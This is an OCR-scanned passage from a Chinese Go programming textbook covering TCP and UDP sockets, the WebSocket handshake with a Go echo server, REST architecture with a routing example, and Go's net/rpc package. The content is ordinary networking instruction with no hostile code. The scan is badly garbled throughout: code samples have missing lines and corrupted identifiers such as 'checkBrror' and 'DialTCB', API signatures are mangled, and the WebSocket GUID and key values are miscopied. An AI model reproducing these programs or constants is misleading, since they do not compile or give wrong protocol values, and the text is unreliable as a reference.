func (c *TCPConn) Read(b []byte) (n int, err os.Error) 

TCPConn 可 在 客户 端 和 服务 器 端 来 读 写 数据 。 

我 们 有 需要 知道 一 个 TCPAddr 类 型 ， 它 表示 一 个 TCP 的 地 址 信息 ， 











定义 如 下 。 
type TCPAddr struct { 
1p 1p 
Port int 
$ 
在 Go 语言 中 通过 ResolveTCPAddr 获 取 一 个 TCPAddr。 





func Resol Addr (net, addr string) (*TCPAddr, os.Brror) 

e net 参数 是 "tcp4"、"tcp6"、"tcp" 中 的 任意 一 个 ， 分 别 表示 
TCP (IPv4-only) ‚TCP (IPv6-only) 或 者 TCP (IPv4,IPv6 的 任意 一 
个 Js 

。 addr 表 示 域 名 或 者 IP 地 址 ， 例 如 "www.google.com:80" 或 
者 "127.0.0.1:22"。 

TCP client 

Go 语言 通过 net 包 中 的 DialTCP 函 数 来 建立 一 个 TCP 连 接 ， 并 返回 一 
个 TCPConn 类 型 的 对 象 ， 当 连接 建立 时 服务 器 端 也 创建 一 个 同类 型 的 对 
象 ， 此 时 客户 端 和 服务 器 端 通过 各 自 拥有 的 TCPConn 对 象 来 进行 数据 交 
换 。 一 般 而 言 ， 客 户 端 通过 TCPConn 对 象 将 请 求 信息 发 送 到 服务 器 端 ， 
读 取 服 务 器 端 响应 的 人 服务 器 端 读 取 并 解析 来 自 客户 端的 请 求 ， 并 
返回 应 答 信息 ， 这 个 连接 只 有 当 任 一 端 关闭 了 连接 之 后 才 失 效 ， 不 然 这 
连接 可 以 一 直 使 用 。 建 立 连 接 的 函数 定义 如 下 。 

func DialTCP (net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) 

enet 参 数 是 "tcp4"、"tcp6"、"tcp" 中 的 任意 一 个 ， 分 别 表示 
TCP (IPv4-only) 、TCP (IPv6-only) 或 者 TCP 〈IPv4，IPv6 的 任意 一 
个 ) 。 

eladdr 表 示 本 机 地 址 ， 一 般 设 置 为 nil。 

eraddr 表 示 远 程 的 服务 地 址 。 

接 下 来 ， 我 们 写 一 个 简单 的 例子 ， 模 拟 一 个 基于 HTTP 协 议 的 客户 
端 请 求 去 连接 一 个 Web 服 务 端 。 我 们 要 写 一 个 简单 的 http 请 求 头 ， 格 式 











类 似 如 下 。 
“HEAD / HTTP/1.0\r\n\r\n" 
从 服务 端 接收 到 的 响应 信息 格式 如 下 。 
HTTP/1.0 200 OK 
ETag: "-9985996" 
Modified: Thu, 25 Mar 2010 17:51:10 GMT 
Content-Length: 18074 
Connection: close 
Date: Sat, 28 Aug 2010 00:43:48 GMT 
Server: lighttpd/1.4.23 
客户 端 代 码 如 下 所 示 。 


package main 








import ( 
“fne” 





func main() { 
if len(os.Args) { 
fmt.Fprintf (os.stderr, “Usage: łs host:port ", os.Args[0]) 
os-Exit (1) 





service 






checkBrror (err) 
conn, err := net.DialTCB("tcp", nil, tcpAddr) 
checkBrror (err) 
,err = conn.Write([]byte ("HEAD / HTTP/1.0\r\n\r\n")}) 
checkError (err) 
result, err := ioutil.Readall (conn) 
checkBrror (err) 
fmt. PrintIn (string (result)) 
os.Exit (0) 
} 
func checkError(err error) { 
if err != nil { 
fmt. Fprintf (os.Stderr, “Fatal error: $s", err.Error()) 
os.Bxit(1) 
+ 


> 

通过 上 面 的 代码 我 们 可 以 看 出 : 首先 程序 将 用 户 的 输入 作为 参数 
service 传 入 net.ResolveTCPAddr 获 取 一 个 tcpAddr， 然 后 把 tcpAddr 传 入 
DialTCP 创 建 了 一 个 TCP 连 接 conn， 通 过 conn 来 发 送 请 求 信息 ， 最 后 通 
过 ioutil.ReadAll 从 conn 中 读 取 全 部 的 文本 ， 也 就 是 服务 端 响应 反馈 的 信 


息 


TCP server 

上 面 我 们 编写 了 一 个 TCP 的 客户 端 程序 ， 也 可 以 通过 net 包 来 创建 一 
个 服务 器 端 程序 ， 在 服务 器 端 我 们 需要 绑 定 服务 到 指定 的 非 激活 端口 ， 
并 监听 此 端口 ， 当 有 客户 端 请 求 到 达 时 ， 可 以 接收 到 来 自 客户 端 连接 的 
请 求 。net 包 中 有 相应 功能 的 函数 ， 函 数 定义 如 下 。 


func ListenTCP (net string, laddr *TCPAddr) (1 *TCPListener, err os.Error) 
func (1 *TCPListener) Accept () (c Conn, err os.Error} 
et 
个 简单 的 时 间 同 步 服 


参数 说 明 同 DialTCP 的 参数 。 下 面 我 们 实现 一 
务 ， 监 听 7777 端 口 。 


package main 





import 1 
yh 
Pueti 
"os" 
“tine? 


) 





daytime := time. Now () .string() 
rite([]byte(daytime)) // don't care about return value 
// we're finished with this client 





conn.Close () 
} 


i 
func checkError (err error) { 

t= nil { 

intf(os.Stderr, "Fatal error: #5", err.Brror()) 


(1) 








} 

服务 器 运行 之 后 ， 它 将 会 一 直 在 那里 等 待 ， 直 到 有 新 的 客户 端 请 求 
到 达 。 当 有 新 的 客户 端 请 求 到 达 并 同意 接受 该 请 求 时 ， 它 会 反馈 当前 的 
时 间 信 息 。 值 得 注意 的 是 ， 在 代码 中 for 循 环 里 ， 当 有 错误 发 生 时， 直接 
continue 而 不 是 退出 ， 是 因为 在 服务 器 端 运 行 代码 的 时 候 ， 当 有 错误 发 








生 的 情况 下 最 好 是 由 服务 端 记录 错误 ， 当 前 连接 的 客户 端 直接 报错 而 退 
出 ， 从 而 不 会 影响 到 当前 服务 端 运行 的 整个 服务 。 

上 面 的 代码 有 个 缺点 ， 执 行 的 时 候 是 单 任务 ， 不 能 同时 接收 多 个 请 
求 ， 那 么 该 如 何 改造 以 使 之 支持 多 并 发 呢 ? Go 语言 里 面 有 一 个 goroutine 
机 制 ， 请 看 下 面 改造 后 的 代码 。 


package main 


import ( 
"rnt" 
"ner" 
"os" 
"tire" 


) 


func main() { 





t .ResolveTCPAddr ("tcp4", service) 
checkError (err) 





listener, err := net.ListenTCP("tcp", tepAddr) 
checkError (err) 
for { 

conn, err := listener.Accept () 

if err != nil { 


continue 
] 
go handleclient (conn) 


} 


func handleClient (conn net.Conn) 1 






time Now () .String() 
byte (daytime)) // don't care about return value 
inished with this client 


func checkBrror(err error) { 
if err {= nil { 
fmt.Fprintf(os.stderr, "Fatal error: 4s", err.Error()) 
os.exit (1) 
+ 


通过 把 业务 处 理 分 离 到 函数 handleClient， 我 们 就 可 以 进一步 地 实现 
多 并 发 执行 。 增 加 Go 语言 关键 词 就 实现 了 服务 器 端的 多 并 发 ， 从 这 个 
小 例子 也 可 以 看 出 goroutine 的 强大 之 处 。 

控制 TCP 连 接 

TCP 有 很 多 连接 控制 函数 ， 我 们 平常 用 到 比较 多 的 函数 有 如 下 几 


AS 


func (c *TCPConn) SetTimeout (nsec int64) os. T 
func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error 


第 一 个 函数 用 来 设置 连接 的 超时 时 间 ， A) ONAN EA, 
当 超过 设置 的 时 间 时 该 连接 就 会 失效 。 

第 二 个 函数 用 来 设置 客户 端 是 否 和 服务 器 端 一 直 保 持 着 连接 ， 即 使 
没有 任何 的 数据 发 送 。 

更 多 的 内 容 请 查看 net 包 的 文档 。 


UDP Socket 


Go 语言 包 中 处 理 UDP oT Socket 不 同 之 处 在 于 服务 器 端 处 
理 多 个 客户 端 请 求 数据 包 的 方式 不 同 ，UDP 缺 少 了 对 客户 端 连接 请 求 的 
Accept 函 数 。 其 他 几乎 一 模 一 样 ， 只 有 TCP 换 成 了 UDP 而 已 。UDP 的 几 
个 主要 函数 如 下 所 示 。 
func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) 
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) 
func Listenupe(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) 
func (c *UDPConn) ReadFromUDF (b []byte) {n int, addr *UDPAddr, err os 
func (c *UDPConn) WriteTouDe (b []byte, addr *UDPAddr) (n int, erros. 


ERUDIIT Rta 不 同 之 你 是 TcPp 换 成 了 UDP。 








package main 


import ( 
"fmt" 
"net" 
"os" 


fune main() ( 
if len(os.Args) 





ai 


fmt .Fprintf(os.stderr, "Usage: ts host:port", os.Args[0]) 


os Exit (1) 
} 
service 





os-Args[1] 


udpAddr, err := net.ResolveUDPAddr ("udp4", 


checkError (err) 


service) 


conn, err := net.DialuDP ("udp", nil, udpAddr) 


checkError (err) 


— err = conn.Write([]byte ("anything") } 


checkError (err) 

var buf [512]byte 

n, err := conn.Read(buf[ 
checkError (err) 

fmt .Print1n(string (buf {0:n])) 
os. Exit (0) 





) 


} 
func checkError(err error) { 
if err != nil 人 
fmt .Fprint£(os.Stderr, "Fatal error 
os. Exit (1) 





$ 
我 们 来 看 一 下 如 何 处 理 UDP 服务 器 端 - 


err-Error()) 


package main 


import ( 
"im" 


oo” 
net -Resolvevbpaddr ("udp4", service) 





checkError (err) 


conn, err 

checkError 

for { 
handleclient (conn) 


net.ListenUDP("udp", udpAd 
rr) 






) 
func handleClient(conn *net. 


DPconn) { 





var buf [512]byte 
+ addr, = conn-ReadFromUDP (buf [0:]) 
if err I= nil { 

retu: 





daytime := time.Now() .string() 
conn.WriteToUDP (| }byte(dayti 





} 
func checker: 
if err 
fmt :Fprintr (os. Stderr, "Fatal erro: 
os-Bxit (1) 








", err.Brror(]) 





小 结 


通过 对 TCP 和 UDP Socket 编 程 的 描述 和 实现 ，Go 语 言 已 经 完全 支持 
了 Socket 编 程 ， 而 且 使 用 起 来 非常 方便 ，Go 语 言 提供 了 很 多 函数 ， 通 过 
这 些 函 数 很 容易 就 可 以 编写 出 高 性 能 的 Socket 应 用 。 


8.2 WebSocket 


WebSocket 是 HTML5 的 重要 特性 ， 它 实现 了 基于 浏览 器 的 远程 
Socket， 使 浏览 器 和 服务 器 可 以 进行 全 双 工 通信 ， 许 多 浏览 器 
(Firefox, Google ChromefilSafari) 都 已 对 此 做 了 支持 。 

在 WebSocket 出 现 之 前 ， 为 了 实现 即时 通信 ， 采 用 的 技术 都 是 “ 轮 
询 ”， 即 在 特定 的 时 间 间 隔 内 ， 由 浏览 器 对 服务 器 发 出 HTTP Request, 
服务 器 在 收 到 请 求 后 ， 返 回 最 新 的 数据 给 浏览 器 刷新 , “ 轮 询 ” 使 得 浏览 
器 需要 对 服务 器 不 断 发 出 请 求 ， 这 样 会 占用 大 量 带 宽 。 

WebSocket 采 用 了 一 些 特殊 的 报头 ， 使 得 浏览 器 和 服务 器 只 需要 做 
一 个 握手 的 动作 ， 就 可 以 在 浏览 器 和 服务 器 之 间 建 立 一 条 连接 通道 。 且 
此 连接 会 保持 在 活动 状态 ， 你 可 以 使 用 JavaScript 来 向 连接 写 入 或 从 中 接 
收 数据 ， 就 像 在 使 用 一 个 常规 的 TCP Socket 一 样 。 它 解决 了 Web 实 时 化 
的 问题 ， 相 比 传统 HTTP 有 如 下 好 处 。 

e 一 个 Web 客 户 端 只 建立 一 个 TCP 连 接 。 

© ”Websocket 服 务 端 可 以 推送 数据 到 Web 客 户 端 。 

o ”有 更 加 轻 量 级 的 头 ， 减 少数 据 传送 量 。 

WebSocket URL 的 起 始 输入 是 ws:// 或 是 wss://( 在 SSL 上 ) 。 图 8.2 展 
示 了 WebSocket 的 通信 过 程 ， 一 个 带 有 特定 报头 的 HTTP 握 手 被 发 送 到 了 
服务 器 端 ， 接 着 在 服务 器 端 或 是 客户 端 就 可 以 通过 JavaScript 来 使 用 某 种 
ERO (Socket) ， 这 一 套 接 口 可 被 用 来 通过 事件 句柄 异步 地 接收 数 
据 。 
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图 8.2 WebSocket 原 理 图 
WebSocket 原 理 


WebSocket 的 协议 颇 为 简单 ， 浏 览 器 发 出 WebSocket 连 接 请 求 ， 然 
后 服务 器 发 出 回应 ， 连 接 便 建 立成 功 ， 这 个 过 程 通常 称 为 担 
手 ”(handshaking) 。 第 一 次 handshake 通 过 以 后 ， 连 接 便 建 立成 功 ， 其 
后 的 通信 数据 都 是 以 Ax00” 开 头 ， 以 “xFF” 结 尾 。 在 客户 端 ， 这 个 是 透 
明 的 ，WebSocket 组 件 会 自动 将 原始 数据 “抬头 去 尾 ”。 

请 看 图 8.3 的 Request 和 Response 信 息 。 


Request URL: ws: //127.0.0.1:9999/ 
Request Method: GET 
Status Code: @101 Switching Protocols 
yRequest Headers vie source 
Connection: Upgrade 







et-Extensions: A-webkit -deflate-frame 
et-Eey- 7cbdext A1GC3uRaUGIORA== 
cket-Versien: 13 
Upgrade: websocket 
(Key3) : 00:00: 00: 00: 00: 00: 00:00 
VResponse Headers  viev source 
Connection: Upgrade 
See-FabSocket-iceept: rE91AIhfC+6]dVcVX0GJEADE]dQ= 
Upgrade: websocket 
(Challenge Response): 00:09:00: 00: 00: 00: 00: 00: 00: 00: 00: 00: 00: 00:00: 60 


om 


图 8.3 ”WebSocket 的 Request 和 Response 信 息 


请 求 中 的 “Sec-WebSocket-Key” 是 随机 的 ， erage < 道 的 程 
序 员 ， 一 眼 就 可 以 看 出 来 : 这 是 经 过 base64 编 码 后 的 数据 。 服 务 器 端 接 
收 到 这 个 请 求 之 后 需要 把 这 个 字符 串 连接 上 一 个 固定 nye RH 

258EAPAS-E914-47DA-95CA-CSABODCSSB11 

即 f7cb4ezEA16C3wRaU6JORA== 连 接 上 那 一 串 固定 字符 串 ， 生 成 一 
个 这 样 的 字符 串 : 

7cb4ezER16C3WRaU6JORR-=258ENEAS-E914-47DR-95CR-CSABUDC85B1 

对 该 先 用 shal 安 全 散 列 算法 计算 出 二 进 制 的 值 ， 然 后 用 
base64 对 其 进行 编码 ， 即 可 以 得 到 握手 后 的 字符 串 。 


zE91AThfc+6ddVcVXOGIEADEJdQ= 


将 此 作为 响应 头 Sec-WebSocket-Accept 的 值 反 馈 给 客户 端 。 











Go 语言 实现 WebSocket 


Go 语言 标准 包 里 面 没有 提供 对 WebSocket 的 支持 ， 但 是 在 由 官方 维 
护 的 go.net 子 包 中 有 此 支持 ， 我 们 可 以 通过 如 下 的 命令 获取 该 包 。 
go get code.google.com/p/go.net /websocket 
WebSocket 分 为 客户 端 和 服务 端 ， 接 下 来 我 们 将 实现 一 个 简单 的 例 
T: 用 户 输 !， 客 户 端 通过 WebSocket 将 信息 发 送 给 服务 器 端 ， 服 
后 主动 Push 信 息 到 客户 端 ， 然 后 客户 端 将 输出 其 收 到 











务 器 端 收 到 1 
的 信息 ， 客 户 端的 代码 如 下 。 





<html> 
<head></head> 
<body> 
<script type="text/javascript"> 
var sock = null; 
var wsuri = "ws://127.0.0,1:1234"; 






window.onload = function() { 
console. log ("onload"); 
sock = new WebSocket (wsuri}; 


sock.onopen = function() { 
console.log{"connected to " + wsuri); 


i 


sock-onclose = function(e) { 
console. log{"connection closed (" + e.code + ")"); 


j 


sock-onmessage = function(e) [ 
console. log ("message received: " + e.data); 
$ 
E 


function send() ( 
var msg = document .getElementById('message') .value; 
sock. send (msa) ; 
i 
</script> 
<h>WebSocket Echo Test</h1> 
<forn> 
<p> 
Message: <input ide"message" type="text" value="Hello, 
worla!*> 
</p> 
</form> 
<button onclick="send();">Send Message</button> 
</body> 
</html> ; 
客户 端 JS 很 容易 就 通过 WebSocket 函 数 建立 了 一 个 与 服务 器 的 连接 
sock， 当 担 手 成 功 后 ， 会 触发 WebScoket 对 象 的 onopen 事 件 ， 告 诉 客户 
端 连 接 已 经 成 功 建立 。 客 户 端 一 共 绑 定 了 四 个 事件 。 
e onopen 建 立 连接 后 触发 。 
© ”onmessage 收 到 消息 后 触发 。 
eonerror 发 生 错误 时 触发 。 





© ”onclose 关 闭 连 接 时 触发 。 
服务 器 端的 实现 如 下 。 


package main 


import ( 
"code .qoogle .com/p/ao.net/websocket" 
"fmt" 
"iog" 
“net/http" 
) 


func Echo(ws twebsocket.Conn) { 


for 4 
var reply string 


if err = websocket .Message.Receive(ws, sreply); err != nil { 
fmt .Printin ("Can't receive") 
break 

} 

Emt .Println ("Received back from client: " + reply) 

msg := "Received: " + reply 


fmt .Printin ("Sending to client: " + msg) 


if err = websocket Message.Send(ws, msg); err != nil { 
fmt .Println ("can't send") 
break 


1 


func main() { 
http.Handle("/", websocket .Handler (Echo) ) 


if err := http.ListenAndServe(":1234", nil); err != nil { 
log.Fatal ("ListenAndServe:", err) 





上 


1 
当 客 户 端 将 用 户 输入 的 信息 Send 之 后 ， 服 务 器 端 通过 Receive 接 收 
到 相应 信息 ， 然 后 通过 Send 发 送 应 答 信息 ， 如 图 8.4 所 示 。 








图 8.4 ”WebSocket 服 务 器 端 接收 到 的 信息 


通过 上 面 的 例子 我 们 看 到 ， 客 户 端 和 服务 器 端 实现 WebSocket 非 常 
方便 ，Go 语 言 的 源码 net 分 支 中 已 经 实现 了 这 个 的 协议 ， 我 们 可 以 直接 
拿 来 用 ， 随 着 HTML5 的 发 展 ， 未 来 WebSocket 也 许 是 web 开发 的 一 
点 ， 我 们 需要 储备 这 方面 的 知识 。 


8.3 REST 


RESTful， 是 目前 最 为 流行 的 一 种 互联 网 软件 架构 。 因 为 它 结构 清 
晰 、 符 合 标准 、 易 于 理解 、 扩 展 方便 ， 所 以 得 到 越 来 越 多 网 站 的 采用 。 
我 们 将 要 本 节 学 习 它 到 底 是 一 种 什么 样 的 架构 ? 以 及 如 何在 Go 语言 里 
面 实现 。 


什么 是 REST 


REST (REpresentational State Transfer) 这 个 概念 ， 首 次 出 现在 
2000 年 Roy Thomas Fielding (HTTP 规 范 的 主要 编写 者 之 一 ) 的 博士 论 
文中 ， 它 指 的 是 一 组 架构 约束 条 件 和 原则 。 满 足 这 些 约束 条 件 和 原则 的 
应 用 程序 或 设计 就 是 RESTful。 

要 理解 什么 是 REST， 我 们 需要 理解 下 面 几 个 概念 。 

© 资源 Resources) REST 是 “表现 层 状态 转化 ”， 其 实 它 省 略 了 主 
语 。“ 表 现 层 ” 其 实 指 的 是 “资源 "的 “表现 层 ”。 













那么 什么 是 资源 呢 ? 就 是 我 们 平常 上 网 访问 的 一 张 图 片 、 一 个 文 
村 Lae. 们 通过 URI 来 定位 这 些 资源 ， 也 就 是 一 个 URI 表 示 


表现 层 (Representation) 

资源 是 做 一 个 具体 的 实体 信息 ， 可 以 有 多 种 的 展现 方式 。 而 把 实体 
展现 出 来 就 是 表现 层 ， 例 如 一 个 txt 文本 信息 ， 它 可 以 输出 成 html、 
JSON、 XML 等 格式 ， 它 可 以 jpg、png 等 方式 展现 一 个 图 片 ， 这 个 就 是 








Gremi 但 是 如 何 确定 它 的 具体 表现 形式 呢 ? 在 HTTP 
请 求 的 头 信息 中 用 Accept 和 Content-Type 字 段 指定 ， 这 两 个 字段 才 是 
对 “表现 层 ” 的 描述 。 

© ”状态 转化 (State Transfer) 
访问 一 个 网 站 ， 就 代表 了 客户 端 和 服务 器 的 一 个 互动 过 程 。 在 这 个 


过 程 中 ， 肯 定 涉及 数据 和 状态 的 变化 。HTTP 协 议 是 无 状态 的 ， 那 么 这 
些 状态 肯定 保存 在 服务 器 端 ， 所 以 如 果 客 户 端 想 要 通知 服务 器 端 改 变数 
据 和 状态 的 变化 ， 肯 定 要 通过 某 种 方式 来 通知 它 。 

客户 端 能 通知 服务 器 端的 手段 ， 只 能 是 HTTP 协 议 。 具 体 来 说 ， 就 
是 HTTP 协 议 里 面 ， 四 个 表示 操作 方式 的 动词 : GET、POST、PUT、 
DELETE。 它 们 分别 对 应 四 种 基本 操作 : GET 用 来 获取 资源 ，POST 用 来 
ec (也 可 以 用 于 更 新 资源 ) ，PUT 用 来 更 新 资源 ，DELETE 用 来 
删除 





综合 上 面 的 解释 ， 我 们 总 结 一 下 什么 是 RESTful 架 构 。 
(1) 每 一 个 URI 代 表 一 种 资源 。 
(2) 客户 端 和 服务 器 之 间 ， 传递 这 种 资源 的 某 和 表现 层 。 
(3) 客户 端 通过 四 个 HTTP 动 词 ， 对 服务 器 端 资 源 进行 操作 ， 实 
现 “表现 层 状态 转化 ”。 

Web 应 用 要 满足 REST 最 重要 的 原则 是 : 客户 端 和 服务 器 之 间 的 交 
互 在 请 求 之 间 是 无 状态 的 ， 即 从 客户 端 到 服务 器 的 每 个 请 求 都 必须 包含 
理解 请 求 所 必需 的 信息 。 如 果 服 务 器 在 请 求 之 间 的 任何 时 间 点 重启 ， 客 
户 端 不 会 得 到 通知 。 此 外 ， 该 请 求 可 以 由 任何 可 用 服务 器 回答 ， 这 十 分 
适合 云 计 算 之 类 的 环境 。 因 为 是 无 状态 的 ， 所 以 客户 端 可 以 缓存 数据 以 
改进 性 能 。 

另 一 个 重要 的 REST 原 则 是 系统 分 层 ， 这 表示 组 件 无 法 了 解除 了 与 
它 直 接 交 互 的 层次 以 外 的 组 件 。 通 过 将 系统 知识 限制 在 单个 层 ， 可 以 限 
制 整个 系统 的 复杂 性 ， 从 而 促进 了 底层 的 独立 性 。 

图 8.5 即 REST 的 架构 图 。 




















Implementation 





API Request JAPI Response 


API Front-End ---------- Representation 


---------- State/Transfer 


---------- Resource 
图 8.5 REST 架 构图 


当 REST 架 构 的 约束 条 件 作为 一 个 整体 应 用 时 ， 将 生成 一 个 可 以 扩 
展 到 大 量 客户 端的 应 用 程序 。 它 还 降低 了 客户 端 和 服务 器 之 间 的 交互 延 
迟 。 统 一 界面 简化 了 整个 系统 架构 ， 改 进 了 子 系统 之 间 交 互 的 可 见 性 。 
REST 简 化 了 客户 端 和 服务 器 的 实现 ， 而 且 对 于 使 用 REST 开 发 的 应 用 程 
序 更 加 容易 扩展 。 

图 8.6 展 示 了 REST 的 扩展 性 。 





Scaling 











图 8.6 REST 的 扩展 性 
RESTful 的 实现 


Go 语言 没有 为 REST 提 供 直 接 支持 ， 但 是 因为 RESTful 是 基于 HTTP 
协议 实现 的 ， 所 以 我 们 可 以 利用 net/http 包 来 自己 实现 ， 当 然 需要 针对 

REST 做 一 些 改 造 ，REST 是 根据 不 同 的 method 来 处 理 相应 的 资源 ， 目 前 
已 经 存在 的 很 多 自称 是 REST 的 应 用 ， 其 实 并 没有 真正 的 实现 REST， 笔 
者 暂且 把 这 些 应 用 根据 实现 的 method 分 成 几 个 级 别 ， 如 图 8.7 所 示 。 


LEVEL @ Ea POST | PUT DELETE PATCH 
LEVEL 1 区 到 cE PUT DELETE PATCH 
are 区 到 ES 区 到 Ez =) 


图 8.7 REST 的 级 别 


图 8.7 展 示 了 我 们 目前 实现 REST 的 三 个 级 别 ， 我 们 在 应 用 开发 的 时 
候 也 不 一 定 全 部 按照 RESTful 的 规则 实现 它 的 方式 ， 因 为 有 些 时 候 完全 
按照 RESTful 的 方式 未 必 可 行 ，RESTful 服 务 充分 利用 每 一 个 HTTP 方 
法 ， 包 括 DELETE 和 PUT。 可 有 时 ，HTTP 客 户 端 只 能 发 出 GET 和 POST 
请 求 。 

o HTML 标 准 只 能 通过 链接 和 表单 支持 GET 和 POST。 在 没有 Ajax 
支持 的 网 页 浏览 器 中 不 能 发 出 PUT 或 DELETE 命 令 

o 有 些 防火 墙 会 挡住 HTTP PUT 和 DELETE 请 求 要 绕 过 这 个 限制 ， 
客户 端 需要 把 实际 的 PUT 和 DELETE 请 求 通过 POST 请 求 穿 透 过 来 。 
RESTful 服 务 则 要 负责 在 收 到 的 POST 请 求 中 找到 原始 的 HTTP 方 法 并 还 
原 。 

我 们 可 以 通过 POST 里 面 增加 隐藏 字段 _method 这 种 方式 来 模拟 
PUT、DELETE 等 方式 ， 但 是 服务 器 端 需要 做 转换 。 当 然 Go 语言 很 容易 
Fone 我 们 通过 下 面 的 例子 ， 说 明 如 何 实现 RESTful 
的 应 用 设计 








package main 


import ( 
"fnt" 
"github. com/drone/routes" 
“net /http” 


p.Responsewriter, r *http.Request) { 
Query () 

Get (":uid") 

"you are get user #5", uid) 






func modifyuser(w http.Responsewriter, r *http.Request) { 
ery () 

params.Get (":uid") 

fmt.Fprintf{w, "you are modify user $s", uid) 

} 





func deleteuser(w http.ResponseWriter, r *http.Request) { 


URL. Query () 
:= params.Get (":uid") 

fmt.Fprintf(w, "you are delete user $s", uid) 
1 








func adduser(w http.ResponseWriter, r *http.Request) { 
-Query (} 

et (":uid") 

ou are add user $s", uid) 








:= params. 
fmt. Fprint (w, ": 
} 





mux = 
mux. 
mux. 
mux r adduser) 
nttp.Handle("/", mux) 
http.Listenandserve(":8086", nil) 


} 

上 面 的 代码 演示 了 如 何 编写 一 个 REST 的 应 用 ， 我 们 访问 的 资源 是 
用 户 ， 我 们 通过 不 同 的 method 来 访问 不 同 的 函数 ， 这 里 使 用 了 第 三 方 库 
github.com/drone/routes， 在 前 面 章节 我 们 介绍 过 如 何 实现 自 定义 的 路 由 
器 ， 这 个 库 实现 了 自 定义 路 由 和 方便 的 路 由 规则 映射 ， 通 过 它 ， 我 们 可 
以 很 方便 地 实现 REST 的 架构 。 通 过 上 面 的 代码 可 知 ，REST 就 是 根据 不 
同 的 method 访 问 同一 个 资源 的 时 候 实现 不 同 的 逻辑 处 理 。 





小 结 


REST 是 一 种 架构 风格 ， 汲 取 了 WWW 的 成 功 经 验 ， 无 状态 ， 以 资 
源 为 中 心 ， 充 分 利用 HTTP 协 议和 URI 协 议 ， 提 供 统一 的 接口 定义 ， 使 
得 它 作为 一 种 设计 Web 服 务 的 方法 而 变 得 流行 。 在 某 种 意义 上 ， 通 过 强 
调 URI 和 HTTP 等 早期 Internet 标 准 ，REST 是 对 大 型 应 用 程序 服务 器 时 代 
之 前 的 Web 方 式 的 回归 。 目 前 Go 语言 对 于 REST 的 支持 还 很 简单 ， 通 过 
实现 自 定义 的 路 由 规则 ， 我 们 就 可 以 为 不 同 的 method 实 现 不 同 的 
handle， 这 样 就 实现 了 REST 的 架构 。 


8.4 RPC 


我 们 通过 前 面 几 节 介绍 了 如 何 基于 Socket 和 HTTP 来 编写 网 络 应 
用 ， 了 解 到 Socket 和 HTTP 采 用 的 是 类 似 “ 信 息 交 换 ” 模 式 ， 即 客户 端 发 送 
一 条 信息 到 服务 端 ， 然 后 〈 一 般 来 说 ) 服务 器 端 都 会 返回 一 定 的 信息 以 














表示 响应 。 客 户 端 和 服务 端 之 间 约 定 了 交互 信息 的 格式 ， 以 便 双 方 都 能 
够 解析 交互 所 产生 的 信息 。 但 是 很 多 独立 的 应 用 并 没有 采用 这 种 模式 ， 
调 完成 想 要 的 功能 。 







打包 之 后 通过 网 络 传递 到 服务 端 ， 服 务 端 解 包 到 处 理 
然后 执行 的 结果 反馈 给 客户 端 。 

RPC (Remote Procedure Call Protocol) 远程 过 程 调用 协议 ， 是 
一 种 通过 网 络 从 远程 计算 机 程序 上 请 求 服务 ， 而 不 需要 了 解 底层 网 络 技 
术 的 协议 。 它 假定 某 些 传输 协议 的 存在 ， 如 TCP 或 UDP， 以 便 为 通信 程 
序 之 间 携带 信息 数据 。 通 过 它 可 以 使 函数 调用 模式 网 络 化 。 在 OSI 网 络 
通信 模型 中 ，RPC 跨 越 了 传输 层 和 应 用 层 。RPC 使 得 开发 包括 网 络 分 布 
式 多 程序 在 内 的 应 用 程序 更 加 容易 。 


RPC 工 作 原 理 


RPC 工 作 流程 如 图 8.8 所 示 ，RPC 运 行 时 ， 客 户 端 对 服务 器 的 RPC 调 
用 一 次 ， 其 内 部 操作 大 致 有 如 下 十 步 。 











客户 进程 服务 器 进程 














远程 过 程 调用 流程 图 
图 8.8 ”RPC 工 作 流 程 图 

1. 调用 客户 端 句柄 ， 执 行 传送 参数 。 
2. 调用 本 地 系统 内 核发 送 网 络 消息 。 
3. 消息 传送 到 远程 主机 。 
4. 服务 器 句柄 得 到 消息 并 取得 参数 。 
5. 执行 远程 过 程 。 
6. 执行 的 过 程 将 结果 返回 服务 器 句柄 。 
8 
5. 
1 





.服务 器 句柄 返回 结果 ， 调 用 远程 系统 内 核 。 
. 消息 传 回 本 地 主机 。 

客户 句柄 由 内 核 接收 消息 。 
0. 客户 接收 句柄 返回 的 数据 。 


Go RPC 


Go 语言 标准 包 中 已 经 提供 了 对 RPC 的 支持 ， 而 且 支 持 三 个 级 别 的 
RPC: TCP、HTTP 和 JSONRPC。 但 Go 语言 的 RPC 包 是 独一无二 的 


RPC， 它 和 传统 的 RPC 系 统 不 同 ， 它 只 支持 Go 语言 开发 的 服务 器 与 客户 
端 之 间 的 交互 ， 因 为 在 内 部 ， 它 们 采用 了 Gob 来 编码 。 

Go RPC 的 函数 只 有 符合 下 面 的 条 件 才能 被 远程 访问 ， 不 然 会 被 忽 
略 ， 详 细 的 要 求 如 下 。 

z \ 须 是 导出 的 〈 首 字母 大 写 ) 。 

必须 有 两 个 导出 类 型 的 参数 。 
。 第 一 个 参数 是 接收 的 参数 ， 第 二 个 参数 是 返回 给 客户 端的 参 
数 ， 第 二 个 参数 必须 是 指针 类 型 的 。 

o ”函数 还 要 有 一 个 返回 值 error。 

举 个 例子 ， 正 确 的 RPC 函 数 格式 如 下 。 

func (t *T) MethodName (argType T1, replyType *T2) error 

T、T1 和 T2 类 型 必须 能 被 encoding/gob 包 编 解 码 。 

任何 RPC 都 需要 通过 网 络 来 传递 数据 ，Go RPC 可 以 利用 HTTP 和 
TCP 来 传递 数据 。 利 用 HTTP 的 好 处 是 可 以 直接 复 用 nethttp 里 面 的 一 些 
函数 。 请 看 下 面 详细 的 例子 。 

HTTP RPC 

http 的 服务 端 代码 实现 如 下 。 










package main 


import ( 
“errors” 
“Ent 
"net/http" 
“net/rpe" 





type Args struct { 


A, B int 


type Quotient struct { 
Quo, Rem int 
} 


type Arith i 





func (t *Arith) Multiply(args *Args, reply *int) error { 
*reply = args.A * args.B 
return nil 

} 


fane: (Gough) UVids taris Gee, od Coon) Gem a 
if args.6 == 0 { 
return errors.New ("divide by zero") 








que.Quo = args.A / args.B 
quo. Rs args-A % args.B 
return nil 








} 


func main() { 





new (Arith) 
ister (arith) 









istenAndgerve (":1234", nil) 





